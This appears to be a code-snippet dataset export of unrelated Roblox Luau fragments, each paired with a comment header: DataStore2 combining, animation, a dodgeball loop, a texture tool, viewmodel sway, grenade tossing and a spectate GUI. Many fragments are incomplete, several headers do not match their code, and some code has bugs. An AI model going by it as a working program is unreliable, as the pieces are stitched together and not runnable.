MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 0
MainVeh.TDI6.Transparency = 0
MainVeh.TDI7.Transparency = 0
MainVeh.TDI8.Transparency = 0
wait(0.02)
MainVeh.TDI1.Transparency = 0
MainVeh.TDI2.Transparency = 0
MainVeh.TDI3.Transparency = 0
MainVeh.TDI4.Transparency = 0
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
else
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
end
end
|
--[[**
<description>
Run this once to combine all keys provided into one "main key".
Internally, this means that data will be stored in a table with the key mainKey.
This is used to get around the 2-DataStore2 reliability caveat.
</description>
<parameter name = "mainKey">
The key that will be used to house the table.
</parameter>
<parameter name = "...">
All the keys to combine under one table.
</parameter>
**--]]
|
function DataStore2.Combine(mainKey, ...)
for _, name in pairs({...}) do
combinedDataStoreInfo[name] = mainKey
end
end
function DataStore2.ClearCache()
DataStoreCache = {}
end
function DataStore2:__call(dataStoreName, player)
assert(typeof(dataStoreName) == "string" and typeof(player) == "Instance", ("DataStore2() API call expected {string dataStoreName, Instance player}, got {%s, %s}"):format(typeof(dataStoreName), typeof(player)))
if DataStoreCache[player] and DataStoreCache[player][dataStoreName] then
return DataStoreCache[player][dataStoreName]
elseif combinedDataStoreInfo[dataStoreName] then
local dataStore = DataStore2(combinedDataStoreInfo[dataStoreName], player)
dataStore:BeforeSave(function(combinedData)
for key in pairs(combinedData) do
if combinedDataStoreInfo[key] then
local combinedStore = DataStore2(key, player)
local value = combinedStore:Get(nil, true)
if value ~= nil then
if combinedStore.combinedBeforeSave then
value = combinedStore.combinedBeforeSave(clone(value))
end
combinedData[key] = value
end
end
end
return combinedData
end)
local combinedStore = setmetatable({
combinedName = dataStoreName,
combinedStore = dataStore
}, {
__index = function(self, key)
return CombinedDataStore[key] or dataStore[key]
end
})
if not DataStoreCache[player] then
DataStoreCache[player] = {}
end
DataStoreCache[player][dataStoreName] = combinedStore
return combinedStore
end
local dataStore = {}
dataStore.Name = dataStoreName
dataStore.UserId = player.UserId
dataStore.callbacks = {}
dataStore.beforeInitialGet = {}
dataStore.afterSave = {}
dataStore.bindToClose = {}
dataStore.savingMethod = SavingMethods.OrderedBackups.new(dataStore)
setmetatable(dataStore, DataStoreMetatable)
local event, fired = Instance.new("BindableEvent"), false
game:BindToClose(function()
if not fired then
event.Event:wait()
end
local value = dataStore:Get(nil, true)
for _, bindToClose in pairs(dataStore.bindToClose) do
bindToClose(player, value)
end
end)
local playerLeavingConnection
playerLeavingConnection = player.AncestryChanged:Connect(function()
if player:IsDescendantOf(game) then return end
playerLeavingConnection:Disconnect()
dataStore:Save()
event:Fire()
fired = true
delay(40, function() --Give a long delay for people who haven't figured out the cache :^(
DataStoreCache[player] = nil
end)
end)
if not DataStoreCache[player] then
DataStoreCache[player] = {}
end
DataStoreCache[player][dataStoreName] = dataStore
return dataStore
end
return setmetatable(DataStore2, DataStore2)
|
-- Local Variables
|
local IntermissionRunning = false
local EnoughPlayers = false
local GameRunning = false
local Events = game.ReplicatedStorage.Events
|
-- functions
|
function stopAllAnimations()
local oldAnim = currentAnim
-- return to idle if finishing an emote
if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
oldAnim = "idle"
end
if FFlagAnimateScriptEmoteHook and currentlyPlayingEmote then
oldAnim = "idle"
currentlyPlayingEmote = false
end
currentAnim = ""
currentAnimInstance = nil
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:disconnect()
end
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop()
currentAnimTrack:Destroy()
currentAnimTrack = nil
end
-- clean up walk if there is one
if (runAnimKeyframeHandler ~= nil) then
runAnimKeyframeHandler:disconnect()
end
if (runAnimTrack ~= nil) then
runAnimTrack:Stop()
runAnimTrack:Destroy()
runAnimTrack = nil
end
return oldAnim
end
function getHeightScale()
if Humanoid then
if not Humanoid.AutomaticScalingEnabled then
return 1
end
local scale = Humanoid.HipHeight / HumanoidHipHeight
if AnimationSpeedDampeningObject == nil then
AnimationSpeedDampeningObject = script:FindFirstChild("ScaleDampeningPercent")
end
if AnimationSpeedDampeningObject ~= nil then
scale = 1 + (Humanoid.HipHeight - HumanoidHipHeight) * AnimationSpeedDampeningObject.Value / HumanoidHipHeight
end
return scale
end
return 1
end
local function rootMotionCompensation(speed)
local speedScaled = speed * 1.25
local heightScale = getHeightScale()
local runSpeed = speedScaled / heightScale
return runSpeed
end
local smallButNotZero = 0.0001
local function setRunSpeed(speed)
local normalizedWalkSpeed = 0.5 -- established empirically using current `913402848` walk animation
local normalizedRunSpeed = 1
local runSpeed = rootMotionCompensation(speed)
local walkAnimationWeight = smallButNotZero
local runAnimationWeight = smallButNotZero
local walkAnimationTimewarp = runSpeed/normalizedWalkSpeed
local runAnimationTimerwarp = runSpeed/normalizedRunSpeed
if runSpeed <= normalizedWalkSpeed then
walkAnimationWeight = 1
elseif runSpeed < normalizedRunSpeed then
local fadeInRun = (runSpeed - normalizedWalkSpeed)/(normalizedRunSpeed - normalizedWalkSpeed)
walkAnimationWeight = 1 - fadeInRun
runAnimationWeight = fadeInRun
walkAnimationTimewarp = 1
runAnimationTimerwarp = 1
else
runAnimationWeight = 1
end
currentAnimTrack:AdjustWeight(walkAnimationWeight)
runAnimTrack:AdjustWeight(runAnimationWeight)
currentAnimTrack:AdjustSpeed(walkAnimationTimewarp)
runAnimTrack:AdjustSpeed(runAnimationTimerwarp)
end
function setAnimationSpeed(speed)
if currentAnim == "walk" then
setRunSpeed(speed)
else
if speed ~= currentAnimSpeed then
currentAnimSpeed = speed
currentAnimTrack:AdjustSpeed(currentAnimSpeed)
end
end
end
function keyFrameReachedFunc(frameName)
if (frameName == "End") then
if currentAnim == "walk" then
if userNoUpdateOnLoop == true then
if runAnimTrack.Looped ~= true then
runAnimTrack.TimePosition = 0.0
end
if currentAnimTrack.Looped ~= true then
currentAnimTrack.TimePosition = 0.0
end
else
runAnimTrack.TimePosition = 0.0
currentAnimTrack.TimePosition = 0.0
end
else
local repeatAnim = currentAnim
-- return to idle if finishing an emote
if (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then
repeatAnim = "idle"
end
if FFlagAnimateScriptEmoteHook and currentlyPlayingEmote then
if currentAnimTrack.Looped then
-- Allow the emote to loop
return
end
repeatAnim = "idle"
currentlyPlayingEmote = false
end
local animSpeed = currentAnimSpeed
playAnimation(repeatAnim, 0.15, Humanoid)
setAnimationSpeed(animSpeed)
end
end
end
function rollAnimation(animName)
local roll = math.random(1, animTable[animName].totalWeight)
local origRoll = roll
local idx = 1
while (roll > animTable[animName][idx].weight) do
roll = roll - animTable[animName][idx].weight
idx = idx + 1
end
return idx
end
local function switchToAnim(anim, animName, transitionTime, humanoid)
-- switch animation
if (anim ~= currentAnimInstance) then
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop(transitionTime)
currentAnimTrack:Destroy()
end
if (runAnimTrack ~= nil) then
runAnimTrack:Stop(transitionTime)
runAnimTrack:Destroy()
if userNoUpdateOnLoop == true then
runAnimTrack = nil
end
end
currentAnimSpeed = 1.0
-- load it to the humanoid; get AnimationTrack
currentAnimTrack = humanoid:LoadAnimation(anim)
currentAnimTrack.Priority = Enum.AnimationPriority.Core
-- play the animation
currentAnimTrack:Play(transitionTime)
currentAnim = animName
currentAnimInstance = anim
-- set up keyframe name triggers
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:disconnect()
end
currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
-- check to see if we need to blend a walk/run animation
if animName == "walk" then
local runAnimName = "run"
local runIdx = rollAnimation(runAnimName)
runAnimTrack = humanoid:LoadAnimation(animTable[runAnimName][runIdx].anim)
runAnimTrack.Priority = Enum.AnimationPriority.Core
runAnimTrack:Play(transitionTime)
if (runAnimKeyframeHandler ~= nil) then
runAnimKeyframeHandler:disconnect()
end
runAnimKeyframeHandler = runAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
end
end
end
function playAnimation(animName, transitionTime, humanoid)
local idx = rollAnimation(animName)
local anim = animTable[animName][idx].anim
switchToAnim(anim, animName, transitionTime, humanoid)
currentlyPlayingEmote = false
end
function playEmote(emoteAnim, transitionTime, humanoid)
switchToAnim(emoteAnim, emoteAnim.Name, transitionTime, humanoid)
currentlyPlayingEmote = true
end
|
----------------------------------------
|
local Grenade = script.Parent
local GrenadeScript = WaitFor(Grenade).GrenadeScript()
local Creator = WaitFor(GrenadeScript).creator().Value
local ExplodeSound = WaitFor(Grenade).ExplodeSound()
local Character = Creator.Character
|
--[[
Issues a warning with an automatically attached stack trace.
]]
|
function Logging.warn(messageTemplate, ...)
local message = messageTemplate:format(...)
for collector in pairs(collectors) do
table.insert(collector.warnings, message)
end
-- debug.traceback inserts a leading newline, so we trim it here
local trace = debug.traceback("", 2):sub(2)
local fullMessage = ("%s\n%s"):format(message, indent(trace, 1))
if outputEnabled then
warn(fullMessage)
end
end
|
-- Roact
|
local new = Roact.createElement
local SelectionButton = require(script.Parent:WaitForChild('SelectionButton'))
|
-- not code
|
local PurplePlayers = script.Parent.PurplePlayers
local OrangePlayers = script.Parent.OrangePlayers
function newgame()
matchStarted = true
wait(3)
for i, player in pairs(game.Teams["Orange Team"]:GetPlayers()) do
player.Character:MoveTo(game.Workspace.OrangeTeleport.CFrame.p)
end
for i, player in pairs(game.Teams["Purple Team"]:GetPlayers()) do
player.Character:MoveTo(game.Workspace.PurpleTeleport.CFrame.p)
end
-- clear dodgebool
game.Workspace.DodgeBalls:ClearAllChildren()
--redo
for i, ballSpawn in ipairs(game.Workspace.DodgeBallSpawns:GetChildren()) do
local newBall = game.Workspace.DogeBall:Clone()
newBall.Parent = game.Workspace.DodgeBalls
newBall.Handle.CFrame = ballSpawn.CFrame
end
PurplePlayers.Value = table.getn(game.Teams['Orange Team']:GetPlayers())
OrangePlayers.Value = table.getn(game.Teams['Purple Team']:GetPlayers())
for i, sparkler in ipairs(game.Workspace.Sparklers:GetChildren()) do
sparkler.Sparkles.Enabled = false
end
end
while true do
if matchStarted then
if PurplePlayers.Value <= 0 then
for i, sparkler in ipairs(game.Workspace.Sparklers:GetChildren()) do
sparkler.Sparkles.Enabled = true
sparkler.Sparkles.SparkleColor = Color3.fromRGB(255, 162, 0)
end
matchStarted = false
wait(3)
elseif OrangePlayers.Value <= 0 then
for i, sparkler in ipairs(game.Workspace.Sparklers:GetChildren()) do
sparkler.Sparkles.Enabled = true
sparkler.Sparkles.SparkleColor = Color3.fromRGB(138, 0, 126)
end
--redo
--for i, ballSpawn in ipairs(game.Workspace.DodgeBallSpawns:GetChildren()) do
-- local newBall = game.Workspace.DogeBall:Clone()
-- newBall.Parent = game.Workspace.DodgeBalls
-- newBall.Handle.CFrame = ballSpawn.CFrame
--end
matchStarted = false
wait(3)
end
else
local purplePlayers = table.getn(game.Teams["Purple Team"]:GetPlayers())
local orangePlayers = table.getn(game.Teams["Orange Team"]:GetPlayers())
if purplePlayers > 0 and orangePlayers > 0 then
newgame()
end
end
wait(0.5)
end
|
-- Container for temporary connections (disconnected automatically)
|
local Connections = {};
function TextureTool.Equip()
-- Enables the tool's equipped functionality
-- Start up our interface
ShowUI();
EnableSurfaceClickSelection();
-- Set our current texture type and face
SetTextureType(TextureTool.Type);
SetFace(TextureTool.Face);
end;
function TextureTool.Unequip()
-- Disables the tool's equipped functionality
-- Clear unnecessary resources
HideUI();
ClearConnections();
end;
function ClearConnections()
-- Clears out temporary connections
for ConnectionKey, Connection in pairs(Connections) do
Connection:disconnect();
Connections[ConnectionKey] = nil;
end;
end;
function ShowUI()
-- Creates and reveals the UI
-- Reveal UI if already created
if UI then
-- Reveal the UI
UI.Visible = true;
-- Update the UI every 0.1 seconds
UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1);
-- Skip UI creation
return;
end;
-- Create the UI
UI = Core.Tool.Interfaces.BTTextureToolGUI:Clone();
UI.Parent = Core.UI;
UI.Visible = true;
-- References to UI elements
local AddButton = UI.AddButton;
local RemoveButton = UI.RemoveButton;
local DecalModeButton = UI.ModeOption.Decal.Button;
local TextureModeButton = UI.ModeOption.Texture.Button;
local ImageIdInput = UI.ImageIDOption.TextBox;
local TransparencyInput = UI.TransparencyOption.Input.TextBox;
local RepeatXInput = UI.RepeatOption.XInput.TextBox;
local RepeatYInput = UI.RepeatOption.YInput.TextBox;
-- Enable the texture type switch
DecalModeButton.MouseButton1Click:connect(function ()
SetTextureType 'Decal';
end);
TextureModeButton.MouseButton1Click:connect(function ()
SetTextureType 'Texture';
end);
-- Create the face selection dropdown
local Faces = { 'Top', 'Bottom', 'Front', 'Back', 'Left', 'Right' };
FaceDropdown = Core.Cheer(UI.SideOption.Dropdown).Start(Faces, '', function (Face)
SetFace(Enum.NormalId[Face]);
end);
-- Enable the image ID input
ImageIdInput.FocusLost:connect(function (EnterPressed)
SetTextureId(TextureTool.Type, TextureTool.Face, ParseAssetId(ImageIdInput.Text));
end);
-- Enable other inputs
SyncInputToProperty('Transparency', TransparencyInput);
SyncInputToProperty('StudsPerTileU', RepeatXInput);
SyncInputToProperty('StudsPerTileV', RepeatYInput);
-- Enable the texture adding button
AddButton.Button.MouseButton1Click:connect(function ()
AddTextures(TextureTool.Type, TextureTool.Face);
end);
RemoveButton.Button.MouseButton1Click:connect(function ()
RemoveTextures(TextureTool.Type, TextureTool.Face);
end);
-- Update the UI every 0.1 seconds
UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1);
end;
function SyncInputToProperty(Property, Input)
-- Enables `Input` to change the given property
-- Enable inputs
Input.FocusLost:connect(function ()
SetProperty(TextureTool.Type, TextureTool.Face, Property, tonumber(Input.Text));
end);
end;
function EnableSurfaceClickSelection()
-- Allows for the setting of the current face by clicking
-- Clear out any existing connection
if Connections.SurfaceClickSelection then
Connections.SurfaceClickSelection:disconnect();
Connections.SurfaceClickSelection = nil;
end;
-- Add the new click connection
Connections.SurfaceClickSelection = UserInputService.InputEnded:connect(function (Input, GameProcessedEvent)
if not GameProcessedEvent and Input.UserInputType == Enum.UserInputType.MouseButton1 and Selection.IsSelected(Core.Mouse.Target) then
SetFace(Core.Mouse.TargetSurface);
end;
end);
end;
function HideUI()
-- Hides the tool UI
-- Make sure there's a UI
if not UI then
return;
end;
-- Hide the UI
UI.Visible = false;
-- Stop updating the UI
UIUpdater:Stop();
end;
function GetTextures(TextureType, Face)
-- Returns all the textures in the selection
local Textures = {};
-- Get any textures from any selected parts
for _, Part in pairs(Selection.Items) do
for _, Child in pairs(Part:GetChildren()) do
-- If this child is texture we're looking for, collect it
if Child.ClassName == TextureType and Child.Face == Face then
table.insert(Textures, Child);
end;
end;
end;
-- Return the found textures
return Textures;
end;
|
-- perform the update loop
|
if rigtype == "R15" then
-- do the r15 update loop
stepped_con = game:GetService("RunService").RenderStepped:connect(function()
-- checkfirstperson() checks if camera is first person and enables/disables the viewmodel accordingly
checkfirstperson()
-- update loop
if isfirstperson == true then
-- make arms visible
visiblearms(true)
-- update walk sway if we are walking
if isrunning == true and includewalksway and humanoid:GetState() ~= Enum.HumanoidStateType.Freefall and humanoid:GetState() ~= Enum.HumanoidStateType.Landed then
walksway = walksway:lerp(
CFrame.new(
(0.1*swaysize) * math.sin(tick() * (2 * humanoid.WalkSpeed/4)),
(0.1*swaysize) * math.cos(tick() * (4 * humanoid.WalkSpeed/4)),
0
)*
CFrame.Angles(
0,
0,
(-.05*swaysize) * math.sin(tick() * (2 * humanoid.WalkSpeed/4))
)
,0.1*sensitivity)
else
walksway = walksway:Lerp(CFrame.new(), 0.05*sensitivity)
end
--
local delta = uis:GetMouseDelta()
if includecamerasway then
sway = sway:Lerp(Vector3.new(delta.X,delta.Y,delta.X/2), 0.1*sensitivity)
end
--
if includestrafe then
strafesway = strafesway:Lerp(CFrame.Angles(0,0,-rootpart.CFrame.rightVector:Dot(humanoid.MoveDirection)/(10/swaysize)), 0.1*sensitivity)
end
--
if includejumpsway then
jumpsway = jumpswaygoal.Value
end
-- update animation transform for viewmodel
rightshoulderclone.Transform = rightshoulder.Transform
leftshoulderclone.Transform = leftshoulder.Transform
if firstperson_waist_movements_enabled then
waistclone.Transform = waist.Transform
end
-- cframe the viewmodel
local finalcf = (camera.CFrame*walksway*jumpsway*strafesway*CFrame.Angles(math.rad(sway.Y*swaysize),math.rad(sway.X*swaysize)/10,math.rad(sway.Z*swaysize)/2))+(camera.CFrame.UpVector*(-1.7-(headoffset.Y+(aimoffset.Value.Y))))+(camera.CFrame.LookVector*(headoffset.Z+(aimoffset.Value.Z)))+(camera.CFrame.RightVector*(-headoffset.X-(aimoffset.Value.X)+(-(sway.X*swaysize)/75)))
viewmodel:SetPrimaryPartCFrame(finalcf)
end
end)
elseif rigtype == "R6" then
-- do the R6 update loop
stepped_con = game:GetService("RunService").RenderStepped:connect(function()
-- checkfirstperson() checks if camera is first person and enables/disables the viewmodel accordingly
checkfirstperson()
-- update loop
if isfirstperson == true then
-- make arms visible
visiblearms(true)
-- update walk sway if we are walking
if isrunning == true and includewalksway and humanoid:GetState() ~= Enum.HumanoidStateType.Freefall and humanoid:GetState() ~= Enum.HumanoidStateType.Landed then
walksway = walksway:lerp(
CFrame.new(
(0.07*swaysize) * math.sin(tick() * (2 * humanoid.WalkSpeed/4)),
(0.07*swaysize) * math.cos(tick() * (4 * humanoid.WalkSpeed/4)),
0
)*
CFrame.Angles(
0,
0,
(-.03*swaysize) * math.sin(tick() * (2 * humanoid.WalkSpeed/4))
)
,0.2*sensitivity)
else
walksway = walksway:Lerp(CFrame.new(), 0.05*sensitivity)
end
--
local delta = uis:GetMouseDelta()
--
if includecamerasway then
sway = sway:Lerp(Vector3.new(delta.X,delta.Y,delta.X/2), 0.1*sensitivity)
end
--
if includestrafe then
strafesway = strafesway:Lerp(CFrame.Angles(0,0,-rootpart.CFrame.rightVector:Dot(humanoid.MoveDirection)/(20/swaysize)), 0.1*sensitivity)
end
--
if includejumpsway == true then
jumpsway = jumpswaygoal.Value
end
-- update animation transform for viewmodel
rightshoulderclone.Transform = rightshoulder.Transform
leftshoulderclone.Transform = leftshoulder.Transform
-- cframe the viewmodel
local finalcf = (camera.CFrame*walksway*jumpsway*strafesway*CFrame.Angles(math.rad(sway.Y*swaysize),math.rad(sway.X*swaysize)/10,math.rad(sway.Z*swaysize)/2))+(camera.CFrame.UpVector*(-1.7-(headoffset.Y+(aimoffset.Value.Y))))+(camera.CFrame.LookVector*(headoffset.Z+(aimoffset.Value.Z)))+(camera.CFrame.RightVector*(-headoffset.X-(aimoffset.Value.X)+(-(sway.X*swaysize)/75)))
viewmodel:SetPrimaryPartCFrame(finalcf)
end
end)
end
|
--- Gives `Character` the 'Amount' of silver in the bag, returns true if it was successful.
---@param Amount number
---@param Character Model
---@return boolean
|
local function GiveSilver(Amount: number, Character: Model): boolean
--// One thing I noticed about this function is that the names of variables were.. Odd.
--// The target is to make anyone be able to see the function and the algorithm just clicks.
--// So you know, define the prefab, make sure your names are pretty self-explantory but not 'ToolToGive', etc etc.
local Player = game.Players:GetPlayerFromCharacter(Character)
if (not Player) then
return false
end
Player.Data.Silver.Value += Amount
return true;
end
|
------------------------------------------------------------------------
-- parse a numerical for loop, calls forbody()
-- * used in forstat()
------------------------------------------------------------------------
|
function luaY:fornum(ls, varname, line)
-- fornum -> NAME = exp1,exp1[,exp1] forbody
local fs = ls.fs
local base = fs.freereg
self:new_localvarliteral(ls, "(for index)", 0)
self:new_localvarliteral(ls, "(for limit)", 1)
self:new_localvarliteral(ls, "(for step)", 2)
self:new_localvar(ls, varname, 3)
self:checknext(ls, '=')
self:exp1(ls) -- initial value
self:checknext(ls, ",")
self:exp1(ls) -- limit
if self:testnext(ls, ",") then
self:exp1(ls) -- optional step
else -- default step = 1
luaK:codeABx(fs, "OP_LOADK", fs.freereg, luaK:numberK(fs, 1))
luaK:reserveregs(fs, 1)
end
self:forbody(ls, base, line, 1, true)
end
|
---
|
local Paint = false
script.Parent.MouseButton1Click:connect(function()
Paint = not Paint
handler:FireServer("PBG",Paint)
end)
|
-- Variables for services
|
local render = game:GetService("RunService").RenderStepped
local contextActionService = game:GetService("ContextActionService")
local userInputService = game:GetService("UserInputService")
local player = game.Players.LocalPlayer
local mouse = player:GetMouse()
local Tool = script.Parent
|
-- init varible
|
local player = game.Players.LocalPlayer
local UserInputService = game:GetService("UserInputService")
local ContextActionService = game:GetService("ContextActionService")
local bindFuc = script.Parent:WaitForChild("BindableFunction")
local doJump = false
local startGame = false
local left = 0
local right = 0
local moveDir = 0
local moveSpeed = 40
local animSpeed = 0.05
game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Chat, false)
game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Health, false)
game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, false)
local humanoid
local animator
local character
player:WaitForChild("PlayerGui")
player.CharacterAdded:Wait()
|
--returns the wielding player of this tool
|
function getPlayer()
local char = Tool.Parent
return game:GetService("Players"):GetPlayerFromCharacter(Character)
end
function Toss(direction)
local handlePos = Vector3.new(Tool.Handle.Position.X, 0, Tool.Handle.Position.Z)
local spawnPos = Character.Head.Position
spawnPos = spawnPos + (direction * 5)
Tool.Handle.Transparency = 1
local Object = Tool.Handle:Clone()
Object.Parent = workspace
Object.Transparency = 1
Object.Swing.Pitch = math.random(90, 110)/100
Object.Swing:Play()
Object.CanCollide = true
Object.CFrame = Tool.Handle.CFrame
Object.Velocity = (direction*AttackVelocity) + Vector3.new(0,AttackVelocity/7.5,0)
Object.Trail.Enabled = true
--Object.Fuse:Play()
--Object.Sparks.Enabled = true
local rand = 11.25
Object.RotVelocity = Vector3.new(math.random(-rand,rand),math.random(-rand,rand),math.random(-rand,rand))
Object:SetNetworkOwner(getPlayer())
local ScriptClone = DamageScript:Clone()
ScriptClone.Parent = Object
ScriptClone.Disabled = false
local tag = Instance.new("ObjectValue")
tag.Value = getPlayer()
tag.Name = "creator"
tag.Parent = Object
Tool:Destroy()
end
script.Parent.Power.OnServerEvent:Connect(function(player, Power)
AttackVelocity = Power
end)
Remote.OnServerEvent:Connect(function(player, mousePosition)
if not AttackAble then return end
AttackAble = false
if Humanoid and Humanoid.RigType == Enum.HumanoidRigType.R15 then
Remote:FireClient(getPlayer(), "PlayAnimation", "Animation")
end
local targetPos = mousePosition.p
local lookAt = (targetPos - Character.Head.Position).unit
Toss(lookAt)
LeftDown = true
end)
function onLeftUp()
LeftDown = false
end
Tool.Equipped:Connect(function()
Character = Tool.Parent
Humanoid = Character:FindFirstChildOfClass("Humanoid")
end)
Tool.Unequipped:Connect(function()
Character = nil
Humanoid = nil
end)
|
-- Local Functions
|
function OnCaptureFlag(player)
PlayerManager:AddPlayerScore(player, 1)
TeamManager:AddTeamScore(player.TeamColor, 1)
DisplayManager:DisplayNotification(player.TeamColor, 'Captured Flag!')
end
local function OnReturnFlag(flagColor)
DisplayManager:DisplayNotification(flagColor, 'Flag Returned!')
end
|
-- tween the sound to the speed
|
if speed > 0.01 and not walk.IsPlaying then
print("play walk")
walk:Play()
elseif speed <0.01 and walk.IsPlaying then
print("stop walk")
walk:Stop()
end
end
|
--[[
Saved profile structure:
DataStoreProfile = {
Data = {},
MetaData = {
ProfileCreateTime = 0,
SessionLoadCount = 0,
ActiveSession = {place_id, game_job_id} / nil,
ForceLoadSession = {place_id, game_job_id} / nil,
MetaTags = {},
LastUpdate = 0, -- os.time()
},
GlobalUpdates = {
update_index,
{
{update_id, version_id, update_locked, update_data},
...
}
},
}
OR
DataStoreProfile = {
GlobalUpdates = {
update_index,
{
{update_id, version_id, update_locked, update_data},
...
}
},
}
--]]
| |
-- Make sure tools' icons update
|
for i,v in pairs(SlotsFolder:GetChildren()) do
setIcon(v)
v.Changed:connect(function()
setIcon(v)
end)
end
|
--[[Wheel Alignment]]
|
--[Don't physically apply alignment to wheels]
--[Values are in degrees]
Tune.FCamber = -3
Tune.RCamber = -2
Tune.FToe = 0
Tune.RToe = 0
|
-- Function to check if the given object should drop
|
local function checkIfShouldDrop(object, delta)
-- Setup is in number of drops per minute; need to convert minutes to ticks
local dropsPerSecond = object.NUMBER_PER_MINUTE / 60
local ticksPerSecond = 1 / delta
local dropsPerTick = dropsPerSecond / ticksPerSecond
-- Calculate random chance
local randomNumber = randomGenerator:NextNumber()
return randomNumber < dropsPerTick
end
|
--Made by Luckymaxer
|
Model = script.Parent
Debris = game:GetService("Debris")
Removing = false
function RemoveModel()
if Removing then
return
end
local Parts = {}
for i, v in pairs(Model:GetChildren()) do
if v:IsA("Model") then
table.insert(Parts, v)
end
end
if #Parts == 0 then
Removing = true
Model.Name = ""
Debris:AddItem(Model, 1)
end
end
Model.ChildRemoved:connect(function(Child)
RemoveModel()
end)
RemoveModel()
|
--Thanks for using this script
--This script is made by Joriangames/Problox Studio Scripts
--Want to know how to use this? Watch my tutorial: https://youtu.be/T65gtxrukQg
|
local button = script.Parent.OpenSpectate
local frame = script.Parent.Frame
local title = frame.PlrName
local left = frame.Left
local right = frame.Right
local cam = workspace.CurrentCamera
local num = 1
local plr = game.Players.LocalPlayer
button.MouseButton1Click:Connect(function()
if frame.Visible == true then
frame.Visible = false
title.Text = plr.Name
cam.CameraSubject = plr.Character.Humanoid
num = 1
else
frame.Visible = true
title.Text = plr.Name
cam.CameraSubject = plr.Character.Humanoid
num = 1
end
end)
right.MouseButton1Click:Connect(function()
local players = game.Players:GetPlayers()
local all = #players
num = num +1
if num > all then
num = 1
end
cam.CameraSubject = players[num].Character.Humanoid
title.Text = players[num].Name
end)
left.MouseButton1Click:Connect(function()
local players = game.Players:GetPlayers()
local all = #players
num = num -1
if num < 1 then
num = all
end
cam.CameraSubject = players[num].Character.Humanoid
title.Text = players[num].Name
end)
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.